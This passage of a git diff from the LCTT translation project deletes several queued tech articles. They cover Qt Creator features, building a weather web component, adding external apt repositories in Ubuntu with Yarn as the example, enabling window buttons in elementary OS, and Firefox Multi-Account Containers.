https://opensource.com/sites/default/files/uploads/virtualbox_memory_size_1.png (Set VM memory size) -[10]: https://opensource.com/sites/default/files/uploads/virtualbox_create_hd_1.png (Create virtual hard disk) -[11]: https://opensource.com/sites/default/files/uploads/virtualbox_create_hd_2.png (Selecting hard disk file type) -[12]: https://opensource.com/sites/default/files/uploads/virtualbox_create_hd_3.png (Dynamically allocating hard disk) -[13]: https://getfedora.org/en/workstation/download/ -[14]: https://opensource.com/sites/default/files/uploads/virtualbox_create_hd_4.png (Setting hard disk size) -[15]: https://opensource.com/sites/default/files/uploads/virtualbox_cpu_settings.png (Assigning cores to guest system) -[16]: https://opensource.com/sites/default/files/uploads/virtualbox_network_settings2.png (Network settings) -[17]: https://en.wikipedia.org/wiki/Network_address_translation -[18]: https://www.virtualbox.org/manual/ch06.html#natforward -[19]: https://opensource.com/sites/default/files/uploads/virtualbox_choose_image3.png (Assigning OS image) -[20]: https://opensource.com/sites/default/files/uploads/virtualbox_running.png (VirtualBox Fedora installer) -[21]: https://opensource.com/sites/default/files/uploads/virtualbox_partitioning_1.png (Selecting Custom partition configuration) -[22]: https://opensource.com/article/18/9/swap-space-linux-systems -[23]: https://fedoraproject.org/wiki/Changes/SwapOnZRAM -[24]: https://opensource.com/sites/default/files/uploads/virtualbox_partitioning_2.png (Adding mount points) -[25]: https://opensource.com/sites/default/files/uploads/virtualbox_guest_additions_2.png (Selecting Guest Additions CD image) -[26]: https://opensource.com/sites/default/files/uploads/virtualbox_guest_additions_autorun.png (Enabling Guest Additions autorun) -[27]: https://opensource.com/sites/default/files/uploads/virtualbox_disk_usage_1.png (Fedora hard disk running out of space) -[28]: https://opensource.com/sites/default/files/uploads/virtualbox_disks_before.png (Free space before adding) -[29]: https://opensource.com/sites/default/files/uploads/virtualbox_new_partition_1.png (Creating a new partition and setting size) -[30]: https://opensource.com/sites/default/files/uploads/virtualbox_new_partition_2.png (Selecting "other" for partition volume type) -[31]: https://opensource.com/sites/default/files/uploads/virtualbox_no_partition_3.png (Setting "No filesystem" on new partition) -[32]: https://opensource.com/sites/default/files/uploads/virtualbox_disk_after.png (VirtualBox after adding new partition) -[33]: https://opensource.com/sites/default/files/uploads/virtualbox_vgscan.png (Checking LVM volume group by typing vgscan:) -[34]: https://opensource.com/sites/default/files/uploads/virtualbox_vgextend_2.png (vgextend command output) -[35]: https://opensource.com/sites/default/files/uploads/virtualbox_vgdisplay.png (vgdisplay command output) -[36]: https://opensource.com/sites/default/files/uploads/virtualbox_lvextend.png (lvextend command output) -[37]: https://opensource.com/sites/default/files/uploads/virtualbox_resizefs.png (resize2fs command output) diff --git a/sources/tech/20210630 9 reasons I love to use the Qt Creator IDE.md b/sources/tech/20210630 9 reasons I love to use the Qt Creator IDE.md deleted file mode 100644 index e542de2f38..0000000000 --- a/sources/tech/20210630 9 reasons I love to use the Qt Creator IDE.md +++ /dev/null @@ -1,209 +0,0 @@ -[#]: subject: (9 reasons I love to use the Qt Creator IDE) -[#]: via: (https://opensource.com/article/21/6/qtcreator) -[#]: author: (Stephan Avenwedde https://opensource.com/users/hansic99) -[#]: collector: (lujun9972) -[#]: translator: (hadisi1993) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -9 reasons I love to use the Qt Creator IDE -====== -Qt Creator is the glue between Qt's rich set of libraries and the -programmer. -![Business woman on laptop sitting in front of window][1] - -Qt Creator is the Qt framework's default integrated development environment (IDE) and hence the glue between Qt's rich set of libraries and the user. In addition to its basic features such as intelligent code completion, debugging, and project administration, Qt Creator offers a lot of nice features that make software development easier. - -In this article, I will highlight some of my favorite [Qt Creator][2] features. - -### Dark mode - -My first question when working with a new application is: _Is there a dark mode?_ Qt Creator answers with: _Which dark mode do you prefer?_ - -You can activate dark mode in the Options menu. On the top menu bar, go to **Tools**, select **Options**, and go to the **Environment** section. Here is where you can select the general appearance: - -![ QT Creator dark mode][3] - -(Stephan Avenwedde, [CC BY-SA 4.0][4]) - -### Custom appearance - -Like every Qt application, Qt Creator's appearance is highly customizable with style sheets. Below, you can follow along with my approach to give Qt Creator a fancy look. - -Create the file `mycustomstylesheet.css` with the following content: - - -``` -QMenuBar { background-color: olive } -QMenuBar::item { background-color: olive } -QMenu { background-color : beige; color : black } -QLabel { color: green } -``` - -Then start Qt Creator from the command line and pass the style sheet as a parameter with: - - -``` -`qtcreator -stylesheet=mycustomstylesheet.css` -``` - -It should look like this: - -![QT Creator custom stylesheet][5] - -(Stephan Avenwedde, [CC BY-SA 4.0][4]) - -Read more about style sheets in the [documentation][6]. - -### Command-line parameters - -Qt Creator accepts many command-line options. For example, if you want to automatically load your current project at startup, pass the path to the `*.pro-file`: - - -``` -`qtcreator ~/MyProject/MyQtProject.pro` -``` - -You can even pass the file and the line number that should be opened by default. This command opens the file `main.cpp` at line 20: - - -``` -`qtcreator ~/MyProject/main.cpp:20` -``` - -Read more about the Qt Creator-specific command-line options in the [documentation][7]. - -Qt Creator is an ordinary Qt application, so, in addition to its own command-line arguments, it also accepts the generic arguments for [QApplication][8] and [QGuiApplication][9]. - -### Cross-compiling - -Qt Creator allows you to define several toolchains, called **Kits**. A kit defines the binaries and SDK for building and running an application: - -![QT Creator kits][10] - -(Stephan Avenwedde, [CC BY-SA 4.0][4]) - -This allows you to switch between completely different toolchains with just two clicks: - -![Switching between Kits in Qt Creator][11] - -(Stephan Avenwedde, [CC BY-SA 4.0][4]) - -Read more about kits in the [manual][12]. - -### Analyzer - -Qt Creator integrates several of the most popular analyzers, such as: - - * [Linux Performance Analyzer][13] (requires a special kernel)  - * [Valgrind][14] memory profiler - * [Clang-Tidy and Clazy][15], a linter for C/C++ - - - -![Qt Creator analyzer][16] - -(Stephan Avenwedde, [CC BY-SA 4.0][4]) - -### Debugger - -When it comes to debugging, Qt Creator has a nice interface for GNU Debugger (GDB). I like its easy way of inspecting container types and creating conditional breakpoints: - -![Qt Creator debugger][17] - -(Stephan Avenwedde, [CC BY-SA 4.0][4]) - -### FakeVim - -If you like Vim, enable FakeVim in the settings to control Qt Creator like Vim. Go to **Tools** and select **Options**. In the **FakeVim** section, you can find many switches to customize FakeVim's behavior. In addition to the editor functions, you can also map your own functions to custom Vim commands. - -For example, you can map the function **Build Project** to the `build` command: - -![FakeVim in Qt Creator][18] - -(Stephan Avenwedde, [CC BY-SA 4.0][4]) - -Back in the editor, when you press the colon button and enter `build`, Qt Creator starts a build process with the configured toolchain: - -![FakeVim in Qt Creator][19] - -(Stephan Avenwedde, [CC BY-SA 4.0][4]) - -You can find more information about FakeVim [in the docs][20]. - -### Class inspector - -When developing in C++, open the right window by clicking on the button in the bottom-right corner of Qt Creator. Then choose **Outline** from the dropdown menu on the top border. If you have a header file open on the left pane, you get a nice overview of the defined classes or types. If you switch to a source file (`*.cpp`), the right pane will list all defined methods, and you can jump to one by double-clicking on it: - -![List of classes in Qt Creator][21] - -(Stephan Avenwedde, [CC BY-SA 4.0][4]) - -### Project configuration - -Qt Creator projects are built around the `*.pro-file` in the project's directory. You can add your own custom configuration to the project's `*.pro-file` of your project. I added `my_special_config` to the `*.pro-file`, which adds `MY_SPECIAL_CONFIG` to the compiler defined: - - -``` -QT -= gui - -CONFIG += c++11 console -CONFIG -= app_bundle - -CONFIG += my_special_config - -my_special_config { -DEFINES += MY_SPECIAL_CONFIG -} -``` - -Qt Creator automatically highlights the code according to the active configuration: - -![Special configuration in Qt Creator][22] - -(Stephan Avenwedde, [CC BY-SA 4.0][4]) - -The `*.pro-file` is written in the [qmake language][23]. - -### Summary - -These features are only the tip of the iceberg of what Qt Creator provides. Beginners shouldn't feel overwhelmed by the many features, as Qt Creator is absolutely beginner-friendly. It may even be the easiest way to start developing in C++. To get a complete overview of its features, refer to the [official Qt Creator documentation][24]. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/6/qtcreator - -作者:[Stephan Avenwedde][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/hansic99 -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/lenovo-thinkpad-laptop-concentration-focus-windows-office.png?itok=-8E2ihcF (Woman using laptop concentrating) -[2]: https://www.qt.io/product/development-tools -[3]: https://opensource.com/sites/default/files/uploads/qt_creator_dark_mode.png ( QT Creator dark mode) -[4]: https://creativecommons.org/licenses/by-sa/4.0/ -[5]: https://opensource.com/sites/default/files/uploads/qt_creator_custom_stylesheet2.png (QT Creator custom stylesheet) -[6]: https://doc.qt.io/qt-5/stylesheet-reference.html -[7]: https://doc.qt.io/qtcreator/creator-cli.html -[8]: https://doc.qt.io/qt-5/qapplication.html#QApplication -[9]: https://doc.qt.io/qt-5/qguiapplication.html#supported-command-line-options -[10]: https://opensource.com/sites/default/files/uploads/qt_creator_cross_compiling.png (QT Creator kits) -[11]: https://opensource.com/sites/default/files/uploads/qt_creator_select_kits.png (Switching between Kits in Qt Creator) -[12]: https://doc.qt.io/qtcreator/creator-targets.html -[13]: https://doc.qt.io/qtcreator/creator-cpu-usage-analyzer.html -[14]: https://doc.qt.io/qtcreator/creator-valgrind-overview.html -[15]: https://doc.qt.io/qtcreator/creator-clang-tools.html -[16]: https://opensource.com/sites/default/files/uploads/qt_creator_analyzer.png (Qt Creator analyzer) -[17]: https://opensource.com/sites/default/files/uploads/qt_creator_debugger2.png (Qt Creator debugger) -[18]: https://opensource.com/sites/default/files/uploads/qt_creator_fakevim_ex_commands.png (FakeVim in Qt Creator) -[19]: https://opensource.com/sites/default/files/uploads/qt_creator_fakevim_build_commands.png (FakeVim in Qt Creator) -[20]: https://doc.qt.io/qtcreator/creator-editor-fakevim.html -[21]: https://opensource.com/sites/default/files/uploads/qtcreator_class_overview.png (List of classes in Qt Creator) -[22]: https://opensource.com/sites/default/files/uploads/qtcreater_special_config.png (Special configuration in Qt Creator) -[23]: https://doc.qt.io/qt-5/qmake-language.html -[24]: https://doc.qt.io/qtcreator/ diff --git a/sources/tech/20210709 What you need to know about security policies.md b/sources/tech/20210709 What you need to know about security policies.md index 43920a4927..12289bea9b 100644 --- a/sources/tech/20210709 What you need to know about security policies.md +++ b/sources/tech/20210709 What you need to know about security policies.md @@ -6,7 +6,6 @@ [#]: reviewer: ( ) [#]: publisher: ( ) [#]: url: ( ) - What you need to know about security policies ====== Learn about protecting your personal computer, server, and cloud systems diff --git a/sources/tech/20210721 Write your first web component.md b/sources/tech/20210721 Write your first web component.md deleted file mode 100644 index a2029f8ec6..0000000000 --- a/sources/tech/20210721 Write your first web component.md +++ /dev/null @@ -1,191 +0,0 @@ -[#]: subject: (Write your first web component) -[#]: via: (https://opensource.com/article/21/7/web-components) -[#]: author: (Ramakrishna Pattnaik https://opensource.com/users/rkpattnaik780) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Write your first web component -====== -Don't repeat yourself; create elements you can reuse when writing web -apps for any browser. -![Digital creative of a browser on the internet][1] - -Web components are a collection of open source technologies such as JavaScript and HTML that allow you to create custom elements that you can use and reuse in web apps. The components you create are independent of the rest of your code, so they're easy to reuse across many projects. - -Best of all, it's a platform standard supported by all major modern browsers. - -### What's in a web component? - - * **Custom elements:** This JavaScript API allows you to define new types of HTML elements. - * **Shadow DOM:** This JavaScript API provides a way to attach a hidden separate [Document Object Model][2] (DOM) to an element. This encapsulates your web component by keeping the styling, markup structure, and behavior isolated from other code on the page. It ensures that styles are not overridden by external styles or, conversely, that a style from your web component doesn't "leak" into the rest of the page**.** - * **HTML templates:** The element allows you to define reusable DOM elements. The element and its contents are not rendered in the DOM but can still be referenced using JavaScript. - - - -### Write your first web component - -You can write a simple web component with your favorite text editor and JavaScript. This how-to uses bootstrap to generate simple stylings then creates a simple card web component to display the temperature of a location passed to it as an attribute. The component uses the [Open Weather API][3], which requires you to generate an APPID/APIKey by signing in. - -The syntax of calling this web component requires the location's longitude and latitude: - - -``` -`` -``` - -Create a file named **weather-card.js** that will contain all the code for your web component. Start by defining your component. This can be done by creating a template element and adding some simple HTML elements into it: - - -``` -const template = document.createElement('template'); - -template.innerHTML = ` -  <div class="card"> -    <div class="card-body"></div> -  </div> -` -``` - -Start defining the WebComponent class and its constructor: - - -``` -class WeatherCard extends HTMLElement { -  constructor() { -    super(); -    this._shadowRoot = this.attachShadow({ 'mode': 'open' }); -    this._shadowRoot.appendChild(template.content.cloneNode(true)); -  } -  …. -} -``` - -The constructor attaches the shadowRoot and sets it to open mode. Then the template is cloned to shadowRoot. - -Next, access the attributes. These are the longitude and latitude, and you need them to make a GET request to the Open Weather API. This needs to be done in the `connectedCallback` function. You can use the `getAttribute` method to access the attributes or define getters to bind them to this object: - - -``` -get longitude() { -  return this.getAttribute('longitude'); -} - -get latitude() { -  return this.getAttribute('latitude'); -} -``` - -Now define the `connectedCallBack` method that fetches weather data whenever it is mounted: - - -``` -connectedCallback() { -  var xmlHttp = new XMLHttpRequest(); -  const url = `[http://api.openweathermap.org/data/2.5/weather?lat=${this.latitude}\&lon=${this.longitude}\&appid=API\\_KEY\\`][4] -  xmlHttp.open("GET", url, false); -  xmlHttp.send(null); -  this.$card = this._shadowRoot.querySelector('.card-body'); -  let responseObj = JSON.parse(xmlHttp.responseText); -  let $townName = document.createElement('p'); -  $townName.innerHTML = `Town: ${responseObj.name}`; -  this._shadowRoot.appendChild($townName); -  let $temperature = document.createElement('p'); -  $temperature.innerHTML = `${parseInt(responseObj.main.temp - 273)} &deg;C` -  this._shadowRoot.appendChild($temperature); -} -``` - -Once the weather data is retrieved, additional HTML elements are added to the template. Now, your class is defined. - -Finally, define and register a new custom element by using the method `window.customElements.define`: - - -``` -`window.customElements.define('weather-card', WeatherCard);` -``` - -The first argument is the name of the custom element, and the second argument is the defined class. Here's a [link to the entire component][5]. - -You've written your first web component! Now it's time to bring it to the DOM. To do that, you must load the JavaScript file with your web component definition in your HTML file (name it **index.html**): - - -``` -<!DOCTYPE html> -<html> - -<head> -  <meta charset="UTF-8"> -</head> - -<body> -  <weather-card longitude='85.8245' latitude='20.296'></weather-card> -  <script src='./weather-card.js'></script> -</body> - -</html> -``` - -Here's your web component in a browser: - -![Web component displayed in a browser][6] - -(Ramakrishna Pattnaik, [CC BY-SA 4.0][7]) - -Because web components need only HTML, CSS, and JavaScript, they are natively supported by browsers and can be used seamlessly with frontend frameworks, including React and Vue. The following simple code snippet shows how to use web components with a simple React App bootstrapped with [Create React App][8]. For this, you need to import the **weather-card.js** file you defined earlier and use it as a component: - - -``` -import './App.css'; -import './weather-card'; - -function App() { -  return ( -  <weather-card longitude='85.8245' latitude='20.296'></weather-card> -  ); -} - -export default App; -``` - -### Lifecycle of a web component - -All components follow a lifecycle from initialization to removal from the DOM (i.e., unmount). Methods are associated with each lifecycle event so that you can control the components better. The various lifecycle events of a web component include: - - * **Constructor:** The constructor for a web component is called before it is mounted, meaning it's created before the element is attached to the document. It's used for initializing local state, binding event handlers, and creating the shadow DOM. The constructor must make a call to `super()` to call the class the Web Component class extends. - * **ConnectedCallBack:** This is called when an element is mounted (that is, inserted into the DOM tree). It deals with initializations creating DOM nodes and is used mostly for operations like instantiating network requests. React developers can relate it to `componentDidMount`. - * **attributeChangedCallback:** This method accepts three arguments: `name`, `oldValue`, and `newValue`. It is called whenever one of the component's observed attributes gets changed. Attributes are declared observed attributes using a static `observedAttributes` getter: [code] static get observedAttributes() { -  return ['name', '_id']; -} [/code] `attributeChangedCallback` will be called whenever the attribute name or `_id` is changed. - * **DisconnectedCallBack:** This is called when an element is removed from the DOM tree (i.e., unmounted). It is equivalent to React's `componentWillUnmount`. It is used to free resources that won't be garbage-collected automatically, like unsubscribing from DOM events, stopping interval timers, or unregistering all registered callbacks. - * **AdoptedCallback:** It is called each time the custom element is moved to a new document. It only occurs when dealing with IFrames. - - - -### Modular open source - -Web components can be a powerful way to develop web apps. Whether you're comfortable with JavaScript or just getting started with it, it's easy to create reusable code with this great open standard, no matter what browser your target audience uses. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/7/web-components - -作者:[Ramakrishna Pattnaik][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/rkpattnaik780 -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/browser_web_internet_website.png?itok=g5B_Bw62 (Digital creative of a browser on the internet) -[2]: https://en.wikipedia.org/wiki/Document_Object_Model -[3]: https://openweathermap.org/api -[4]: http://api.openweathermap.org/data/2.5/weather?lat=${this.latitude}\&lon=${this.longitude}\&appid=API\_KEY\` -[5]: https://gist.github.com/rkpattnaik780/acc683d3796102c26c1abb03369e31f8 -[6]: https://opensource.com/sites/default/files/uploads/webcomponent.png (Web component displayed in a browser) -[7]: https://creativecommons.org/licenses/by-sa/4.0/ -[8]: https://create-react-app.dev/docs/getting-started/ diff --git a/sources/tech/20210805 Installing Packages From External Repositories in Ubuntu -Explained.md b/sources/tech/20210805 Installing Packages From External Repositories in Ubuntu -Explained.md deleted file mode 100644 index 8cd2bba801..0000000000 --- a/sources/tech/20210805 Installing Packages From External Repositories in Ubuntu -Explained.md +++ /dev/null @@ -1,189 +0,0 @@ -[#]: subject: "Installing Packages From External Repositories in Ubuntu [Explained]" -[#]: via: "https://itsfoss.com/adding-external-repositories-ubuntu/" -[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -Installing Packages From External Repositories in Ubuntu [Explained] -====== - -You have some ideas about installing packages in Ubuntu with apt command. Those packages come from Ubuntu’s repositories. - -How about third-party or external repository? No, I am not talking about PPA here. - -Sooner or later, you’ll come across installation instructions that goes in at least four lines. You install something called ‘apt-transport-https’ and then do something with gpg and sources list. After that, you install the package. - -Can’t recall completely. Let me share an example for [installing the latest version Yarn on Ubuntu][1]: - -``` -sudo apt install apt-transport-https curl -curl -sS https://dl.yarnpkg.com/debian/pubkey.gpg | sudo apt-key add - -sudo sh -c 'echo "deb https://dl.yarnpkg.com/debian/ stable main" >> /etc/apt/sources.list.d/yarn.list' -sudo apt update && sudo apt install yarn -``` - -You’ll often come across such installation method while installing programming tools directly from the developers. - -Many people just follow the instructions without thinking twice about what’s going on here. Nothing wrong with that but knowing the process actually improves your knowledge on the matter and could also help in troubleshooting. - -Let me explain the logic behind those lines. - -### Understanding the procedure of installation from external repositories - -Before you proceed, I highly recommend reading these two articles so that things are a bit more clear to you: - - * [Concept of repositories in Ubuntu][2] - * [Concept of PPA in Ubuntu][3] - - - -To recall quickly, here’s a visual representation of repositories and [package manager in Linux][4]. - -![Illustration of repository and package manager][5] - -The entire idea here is that you add a new, external repository to your system. This way, you’ll be able to download and install packages available from this new repository. If the repository provides an update on the package version, you get to update the installed package along with the system updates (apt update && apt upgrade). - -So, how does this work? Let’s go through the lines one by one. - -#### Part 1: Getting HTTPS support for apt - -The first line is this: - -``` -sudo apt install apt-transport-https curl -``` - -Curl is a [tool for downloading files in Linux terminal][6]. The main part here is the installation of **apt-transport-https** and frankly speaking not needed anymore. - -Confused? This apt-transport-https package allows your system to access repositories over the secure HTTPS protocol. By design, Ubuntu repositories use http, not https. - -Take a look at the screenshot below. The https ones are the external repositories I have added into my system. Ubuntu repositories and PPA use http. - -![][7] - -In the older version of apt package manager, https support was not included. apt-transport-https package adds https support to apt. To add a repository that uses https, this package is installed first. - -Did I not say it is not needed anymore? Yes because the newer versions of apt (higher than 1.5) support https and thus you do not need to install apt-transport-https anymore. - -And yet you see this package mentioned in the instructions. This is more for legacy reasons or for really old distribution versions that might be using an older version of apt. - -Now, you may wonder why Ubuntu repositories use http, not https when https is the secure protocol. Is it not a security risk? The next segment will answer that question. - -#### Part 2: Adding GPG key of the remote repository - -Linux repositories have this built-in GPG-key based security mechanism. Every repository added its public GPG key to your system’s trusted keys. The packages from the repositories are ‘signed’ by this GPG key and thanks to the stored public key, your system verifies that the package is coming from the repository. - -If there is a [mismatch between the keys, your system will throw an error][8] instead of installing or updating packages from the said repository. - -So far, so good. The next step is to add the public GPG key of the external repository to your Linux system so that it trusts the package from this repository. - -``` -curl -sS https://dl.yarnpkg.com/debian/pubkey.gpg | sudo apt-key add - -``` - -In the above command, you download the GPG key from the given URL using curl. The option `sS` ensures that you don’t see the flooded output (silent mode) but shows the error (if any). The last `-` tells apt-key to take stdin instead of a file (which is the output of the curl command in this case). - -The download key is added to the system with `apt-key add` command. - -You can see the GPG keys added by various repositories in your system using the `apt-key list` command. - -![List GPG keys][9] - -That’s one way of adding the GPG key to the system. You’ll some other commands that my look slightly different but do the same job of adding the public key of the repository to your system. - -``` -sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys E298A3A825C0D65DFD57CBB651716619E084DAB9 -``` - -You’ll notice a warning that apt-key is deprecated. You could still use apt-key command till Ubuntu 22.04 but it will eventually be removed. Let’s not worry about it at the moment. - -#### Part 3: Adding the external repository to your sources list - -The next command adds a new entry into the sources list of your system. This way, your system will know that it has to check this repository for packages and updates. - -``` -sudo sh -c 'echo "deb https://dl.yarnpkg.com/debian/ stable main" >> /etc/apt/sources.list.d/yarn.list' -``` - -There is a file /etc/apt/sources.list that contains the details of the Ubuntu repositories. This file should not be touched. All the additional repositories should be placed in their own respective file (ending with .list convention) in the /etc/apt/sources.list.d directory. - -![External repository should have their own sources list file in the /etc/apt/sources.list.d directory][10] - -This makes package management easier. If you are removing a repository from the system, you just need to delete the corresponding sources file. No need to mess with the main sources.list file. - -Let’s look at the command in a bit more detail. - -``` -sudo sh -c 'echo "deb https://dl.yarnpkg.com/debian/ stable main" >> /etc/apt/sources.list.d/yarn.list' -``` - -With sh, you are asking to run the command in a new shell, instead of the [subshell][11]. `-c` option tells the sh command to read the commands from the operand instead of standard input. Then it runs the echo command which basically adds line **deb stable main** to /etc/apt/sources.list.d/yarn.list file (file will be created) - -Now, there could be numerous ways you can create a .list file in the specified directory and add the line with repository details in it. You could use it like this as well: - -``` -echo "deb https://dl.yarnpkg.com/debian/ stable main" | sudo tee /etc/apt/sources.list.d/yarn.list -``` - -You get the gist, right? - -#### Part 4: Installing the application from newly added repository - -So far, you have added the GPG key of the repository and the URL of the repository to the system. - -But your system still does not know about the package available from this new repository. This is why you need to update the local cache of package metadata first with this command: - -``` -sudo apt update -``` - -Your system will have the information about the packages available from the newly added repository and you can install the package now: - -``` -sudo apt install yarn -``` - -To save time, you can [run the two commands one after another in a single lin][12]e. - -``` -sudo apt update && sudo apt install yarn -``` - -The `&&` ensures that the second command only runs when the previous command completed without any error. - -And thus the process completes. - -### Did it make things clear or confused you even more? - -I explained the logic behind the steps for using external repositories in Ubuntu. I hope you have a better understanding of the topic now, but it is also possible that too much detail could be confusing. - -If things are still not clear or if you have additional questions, please let me know. If you notice technical inaccuracies, please let me know in the comment section. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/adding-external-repositories-ubuntu/ - -作者:[Abhishek Prakash][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/abhishek/ -[b]: https://github.com/lujun9972 -[1]: https://itsfoss.com/install-yarn-ubuntu/ -[2]: https://itsfoss.com/ubuntu-repositories/ -[3]: https://itsfoss.com/ppa-guide/#comments -[4]: https://itsfoss.com/package-manager/ -[5]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/10/linux-package-manager-explanation.png?resize=800%2C450&ssl=1 -[6]: https://itsfoss.com/download-files-from-linux-terminal/ -[7]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/08/apt-update-http-https.png?resize=800%2C527&ssl=1 -[8]: https://itsfoss.com/solve-gpg-error-signatures-verified-ubuntu/ -[9]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/07/list-apt-key-gpg-ubuntu.png?resize=800%2C547&ssl=1 -[10]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/08/sources-list-ubuntu.png?resize=800%2C313&ssl=1 -[11]: https://linuxhandbook.com/subshell/ -[12]: https://itsfoss.com/run-multiple-commands-linux/ diff --git a/sources/tech/20210809 How to Enable Minimize, Maximize Window Buttons in elementary OS.md b/sources/tech/20210809 How to Enable Minimize, Maximize Window Buttons in elementary OS.md deleted file mode 100644 index 8e10260309..0000000000 --- a/sources/tech/20210809 How to Enable Minimize, Maximize Window Buttons in elementary OS.md +++ /dev/null @@ -1,88 +0,0 @@ -[#]: subject: "How to Enable Minimize, Maximize Window Buttons in elementary OS" -[#]: via: "https://www.debugpoint.com/2021/08/enable-minimize-maximize-elementary/" -[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" -[#]: collector: "lkxed" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -How to Enable Minimize, Maximize Window Buttons in elementary OS -====== -This is how you can enable the Minimize, Maximize window buttons in elementary OS. - -Many people (mostly new users to elementary OS) asks these questions in various forums: - -1. How do I enable minimize buttons in elementary OS? -2. How to I enable restore, minimize, maximize? -3. Is it possible to bring back the minimize and maximize buttons? - -And they are completely valid questions, and It’s okay to ask questions. Right? This guide to help them to get those buttons in elementary OS. - -The Pantheon desktop which is used by elementary OS does not come with default standard window buttons. The reason primarily being a different concept of handling user behavior and activities via Dock and Application menu. Arguably, this design or implementation of this behavior mimics macOS. - -That said, many users prefers the window buttons because it is a “muscle-memory'” thing and some migrated from other desktop environments, even windows. - -Although elementary doesn’t provide you this as a default settings, you can still enable it. Here’s how. - -### Enable minimize maximize Buttons – elementary OS - -Open a terminal and install the software properties common which is required for adding a PPA. By default, this package is not installed in elementary OS (don’t ask me why, seriously?). - -``` -sudo apt install software-properties-common -``` - -#### elementary OS 6 Odin - -The Tweak tool is renamed with a new name and being developed separately. It is called [Pantheon Tweaks][1]. And using the following commands you can install it. - -``` -sudo add-apt-repository -y ppa:philip.scott/pantheon-tweaks -sudo apt install -y pantheon-tweaks -``` - -#### elementary OS 5 Juno and below - -If you are using elementary OS 5 June and below, you can install the earlier [elementary-tweaks][2] using the same PPA. Follow the below commands from terminal. - -``` -sudo add-apt-repository -y ppa:philip.scott/elementary-tweaks -sudo apt install -y elementary-tweaks -``` - -#### Change the settings - -* After installation, click on the Application at the top bar and open System Settings.In the System settings window, click on Tweaks under Personal section. -* In the Tweaks window, go to Appearance section. -* Under Window Controls, select Layout: Windows. - -![enable minimize maximize buttons elementary OS][3] - -* And you should have the minimized, maximize and close button on the right side of the top window bar. - -There are other combinations as well, such as Ubuntu, macOS, etc. You can choose whatever you feel like: - -![Other Options of Window buttons in elementary][4] - -This step completes the guide. There are other options in gsettings which you may try to use, but the window manager gala recently removed those options. Hence, they may not work at the moment. - -I hope this guide helps you to enable minimize maximize buttons elementary OS. Let me know in the comment box below if you need any help. - --------------------------------------------------------------------------------- - -via: https://www.debugpoint.com/2021/08/enable-minimize-maximize-elementary/ - -作者:[Arindam][a] -选题:[lkxed][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.debugpoint.com/author/admin1/ -[b]: https://github.com/lkxed -[1]: https://github.com/pantheon-tweaks/pantheon-tweaks -[2]: https://github.com/elementary-tweaks/elementary-tweaks -[3]: https://www.debugpoint.com/wp-content/uploads/2021/08/enable-minimize-maximize-buttons-elementary-OS.png -[4]: https://www.debugpoint.com/wp-content/uploads/2021/08/Other-Options-of-Window-buttons-in-elementary.jpg diff --git a/sources/tech/20210809 What is Firefox Multi-Account Containers- Why and How to Use It.md b/sources/tech/20210809 What is Firefox Multi-Account Containers- Why and How to Use It.md deleted file mode 100644 index 37de21cd70..0000000000 --- a/sources/tech/20210809 What is Firefox Multi-Account Containers- Why and How to Use It.md +++ /dev/null @@ -1,130 +0,0 @@ -[#]: subject: "What is Firefox Multi-Account Containers? Why and How to Use It?" -[#]: via: "https://itsfoss.com/firefox-containers/" -[#]: author: "Hunter Wittenborn https://itsfoss.com/author/hunter/" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -What is Firefox Multi-Account Containers? Why and How to Use It? -====== - -As the needs of users who use various programs on their devices becomes increasingly complex, the programs themselves are also needing to follow suit to keep up with the demand that users are wanting and expecting. - -Something that I find I need on a daily basis is an easy way to be able to stay logged in to multiple accounts inside my web browser at the same time. I _could_ just log in and out of each of my accounts as needed, but this becomes extremely tedious when I’m moving across multiple accounts in a short period of time. - -Originally, I was using Google Chrome’s ability to have multiple accounts, which worked, but was a tad too tedious to manage, and it felt a bit clunky to create an entire new Google account just to do what I considered something that should be able to be done from a _single_ account. - -This is the point where I moved to Firefox’s Multi-Account Containers feature. Not only is it so much more flexible than my setup on Google Chrome, but I am also using something that is created by my browser’s developers themselves, making for an overall smoother and simpler experience. - -![Illustration of containers in Firefox][1] - -### What is Multi-Account Container in Firefox? - -Mutli-Account Containers also works tremendously well if you want to separate parts of your digital life from each other. When you are using containers, your browsing activity from one container is not shared with other containers. This isolation means that you can log into two separate accounts on the same website in different containers. Your login session, site preference and tracking data will be confined to the container where you 